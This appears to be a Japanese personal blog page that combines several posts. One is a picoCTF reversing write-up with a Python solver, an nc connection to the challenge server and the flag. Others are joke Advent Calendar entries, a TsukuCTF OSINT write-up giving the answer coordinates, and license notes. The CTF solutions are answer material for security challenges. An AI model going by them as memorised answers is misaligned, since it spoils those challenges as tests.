GDBでパスワードをゲット!ゲト グッド グッド本舗 グッド谷(良い谷のこと) ←下書きの残りです 無視してくださいね

ソルバはこちら!

ENC_PASS = "mpknnphjngbhgzydttvkahppevhkmpwgdzxsykkokriepfnrdm"

def once_enc(j, bufj):
    local_1 = (j % 0xff >> 1 & 0x55) + (j % 0xff & 0x55)
    local_2 = (local_1 >> 2 & 0x33) + (0x33 & local_1)
    tmp = (local_2 >> 4 & 0xf) + (bufj - ord("a")) + (0xf & local_2)

    return (ord("a") + tmp + (tmp // 0x1a) * -0x1a)

enc_table = [[0]*(ord("z") - ord("a") + 1) for i in range(len(ENC_PASS))]
for j in range(len(ENC_PASS)):
    for bufj in range(ord("a"), ord("z") + 1):
        tmp = bufj
        for k in range(3):
            tmp = once_enc(j, tmp)
        enc_table[j][bufj - ord("a")] = chr(tmp)

for ind, i in enumerate(ENC_PASS):
    print(chr(enc_table[ind].index(i) + ord("a")), end="")
print()
$ python solve.py
mmhhkjbakavyaqprqnpbuygdymyyddkratrjsbbceizsgtbcxd
$ nc $address $port
Enter the secret password: mmhhkjbakavyaqprqnpbuygdymyyddkratrjsbbceizsgtbcxd
SUCCESS! Here is your flag: picoCTF{s0lv3_angry_symb0ls_/*乱数*/}

picoCTF{s0lv3_angry_symb0ls_/乱数/}

またangr入門しそこねました ました!そんな

わっしょーーーーい!!!結果, 感想など!

アセンブリの最初がぴょこってなってますね?!みなさん、タブ文字を捕まえましょう。
今回、お試しで結果などを最後に書いてみることにしました!そのほうが見やすいかも...と思い!です!
まずは結果です!
209/6957 位でした!6425/9225 点です!

結果!

次は感想です!次は感想です!ってなんか愉快ですね?!
ワイワイやれて楽しかったです!!!!! 協力して解いた問題もあり、これって嬉しいことですよね___
チームのみなさん、運営のみなさん、いろいろのみなさん、全方向にありがとうございました_____!!!!!_

shojinさん攻略ガイド

この記事は!↓でぶ Advent Calendar 2023↓の17日目に登録させていただいておりますな記事です!(すみません、めちゃくちゃ間違えて別のリンクを貼っておりました...ウアア...)

adventar.org

↓これはボツです↓

https://ueki.hatenablog.jp/draft/entry/jZqJ9WNgRhIIJMyNRf_JYZLEMQE

 

shojinさんを伝統の呼霊術でお呼びしました!嘘です!

霊とおばけは違います

みなさんもshojinさんを攻略したいと噂ですので、まとめてみました!

 

shojinさん基本情報

なんとかかんとかを知れば百戦殆からず、基本情報です!

・体重

shojinさんの体重を調べてみました!すみません、わかりませんでした!80以上kgだったり115万kgだったりの可能性があるらしく、ここではぼんやり間をとって575t...え?!575?!?!?!やったーーーー!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

やったやかー!

  やっぱやったぁー!

    やった! a!c!a!c!

 

公式に、shojinさんの体重は1shojinらしいです。うおおおお

競技プログラミング

AtCoder青色のようです!

グーパンチでやられないよう気を付けてくださいね!(青色はパンチ力が高い傾向)

 

 

shojinさんがでぶじゃなかった場合

shojin_debujana

 

shojinさんが耐性を持っている(と思われる)属性一覧

なんとかかんとかを知れば百戦殆からず、耐性です!

・塩

肥満体型の場合、(平均的に)塩分摂取量が多いため

おばけにしては珍しいですね!初見でこまった方!!多いのでは?

 

shojinさんのドロップアイテム一覧

・お米

・ナンや😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡😡

 

・🍜🎂🌭🍿🍱🍖🥣🥧🍝🍔🍓🥘🍫🍛

お腹を空かせたお化けにご飯をあげよう!

・キリン🦒(レア)

・𝓗𝓪𝓶𝓫𝓾𝓻𝓰𝓮𝓻(𝓡𝓐𝓡𝓔)

 

 

 

すみません、実はshojinさんを攻略することは無理です。自明ですよね。さようなら。

木 おもしろあるある

この記事は!↓木 Advent Calendar 2023↓の17日目に登録させていただいておりますな記事です!

adventar.org

 

気になりがちです。この木がなんの木か気になる方、教養というか落ち着きというか、大人だと思います。

Union-Findがちです。Union-Findってだいすきです。

うしたぷにきあがち!うしたぷにきあくんって何?失礼しました、う し た ぷ に き あ く ん 笑って何?

二分木っていい感じです。画数が少ないので←無限回言及されてるはずです。ぼくの脳内競プロ界隈では5回ぐらいです。5=無限のとき、壊れる気がします。

縦に伸びてる木、かっこいい

そして、こわいです。襲ってきたらどうしよう...いつも、そんなことを考えています。嘘です(襲ってきたら叫ぶ以外ないため)。

木は表面積が大きい

低木

低木というのは、低い木のことですので、ハイキックが当たりません しゃがみ姿勢が悪いです!格ゲーだとそれなりに弱そうです。タックルしてください!○( ^皿^)っ 

ひょうめんせ木

木のダジャレ

木の主な読みはこれらだと思ってます!います!

・き

・もく

・ぼく

ぼくぼくぼくぼく!なるほど!一文字だとたいへんそうなので、"き" はありません。またいつか!

思いついたのを書きます!

木木木木木

ぼくもくきもくぼく ぼく もく き もく ぼく 僕も茎も苦木

僕さんが木でしたら、わんちゃん🐻🐶🍕ありますね!

あるある:たいへんすぎ

木木木

ぼくもくき ぼく もく き 僕も茎

違います

うわあああ

ウワ!もう思いつきません!木おもしろあるある:ない

 

平に 秋超えて

     海山ごりら

       ホトケノザ

カイエンペッパー@あけぼのさん(そういうハンドルネームです!)

TsukuCTF2023 writeup big_statue

TsukuCTF2023おつかれさまでした!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

緯度経度の問題に関する大事なことに気づいたので、writeupを書きますね !!〜!

 

big_statue

写真にある大きいドリアンの像がどこにあるかという問題でした!途中でマレーシアのスリアンに行ったりと、途中でマレーシアのスリアンに行ったりと、途中でマレーシアのスリアンに行ったりと、これは悔やみです。嘘です!マレーシアってぺかぺか!になったので悔やみ is 0わる6おくぱーーーーーせんと

結果として、「1001 アッパー・セラングーン・ロード」(←履歴のをコピペしたので場所を表す文章として正しくない気しかしません 正に気と書いて正気(つまり))という場所らしく、これは結局どこの国ですか?今Google Mapの座標(URLのやつです。便利でした。)をコピーしてきたのを貼ってみると、すみません、間違えてスクショ貼っちゃったので困りましたコピーしてきました1.3622977, 103.8873116らしいです。緯度, 経度です! そしてこれを何桁でしたっけ?5桁切り捨てタイプの4桁とします!で入力する場合、"1.3622977_103.8873116" をコピーした後、小数点から右に4回(すみませんこれまでで2回クラッシュしてけっこうこわくなってますというのが正直なところ!)カーソルを動かす→残りをdeleteキーで消す とした方が楽ということにきづきました!!!!!!!!!!!!絶対そうしてください 相対そうしてください 絶対に

flagはわかりません(どれが

いろいろと決めたりしました ライセンスなど

決めました!

投稿時点ではこうです↓

mod noticer, Twitter YAMERO, Ueki_CLI_TOOLS

→MITライセンス

Lleki-wi.github.io

→サイト内のRULES(https://Lleki-wi.github.io/RULES.html)に記載

 

 

mod noticer 500インストール ありがとうございます

ありがとうございます!また、今更ですがライセンスを設定させていただきました(おそい、ほんと) 現時点ではMIT でsづ(typoです!)